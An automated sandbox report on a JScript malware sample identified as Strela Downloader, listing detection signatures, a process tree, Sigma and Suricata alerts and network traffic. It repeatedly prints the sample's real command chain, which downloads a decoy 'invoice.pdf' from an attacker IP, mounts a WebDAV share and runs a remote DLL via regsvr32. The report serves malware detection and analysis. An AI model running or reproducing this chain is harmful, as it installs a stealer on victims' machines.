Edit tour

Windows Analysis Report
18203107951121827015.js

Overview

General Information

Sample name:	18203107951121827015.js
Analysis ID:	1588675
MD5:	08dfc64b439b2533b213a713f2192ff1
SHA1:	f0475e913f985a0e3c34e19b2db5096783fe7e6a
SHA256:	39594d9873e8db2ffafd9f3d0054d6d072943bf6952b61bfafb024e4f1dc643d
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4324 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2340 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2432 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7332 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7544 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7764 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1740,i,660562272891007411,15319704297293168881,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7364 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7452 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7608 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4324	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2340, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2432, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2340, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2432, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js", ProcessId: 4324, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7452, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49701

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, ProcessId: 2340, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, ProcessId: 2340, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, ProcessId: 2340, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, ProcessId: 2340, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, ProcessId: 2340, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, ProcessId: 2340, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js", ProcessId: 4324, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2340, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2432, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7364, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7452, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7608, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7364, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7452, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4324, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll, ProcessId: 2340, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:00:41.899290+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:00:45.080720+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49701	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:00:41.899290+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 18203107951121827015.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 18203107951121827015.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 18203107951121827015.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49701 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49699 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:00:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 